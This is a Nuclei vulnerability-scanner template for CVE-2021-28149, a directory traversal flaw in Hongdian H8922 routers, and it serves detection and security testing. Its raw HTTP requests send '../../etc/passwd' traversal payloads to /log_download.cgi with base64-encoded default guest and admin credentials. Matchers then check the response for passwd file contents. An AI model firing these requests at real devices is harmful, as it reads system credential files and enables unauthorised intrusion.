nuclei-templates/cves/2021/CVE-2021-28149.yaml

id: CVE-2021-28149

info:
  name: Hongdian Directory Traversal
  author: gy741
  severity: medium
  description: |
      Hongdian H8922 3.0.5 devices allow Directory Traversal. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
  reference: |
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28149
  tags: cve,cve2021,hongdian,traversal

requests:
  - raw:
      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Authorization: Basic YWRtaW46YWRtaW4=
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/octet-stream"
        part: header

      - type: regex
        regex:
          - "root:[x*]:0:0:"
          - "sshd:[x*]"
          - "root:[$]"
        part: body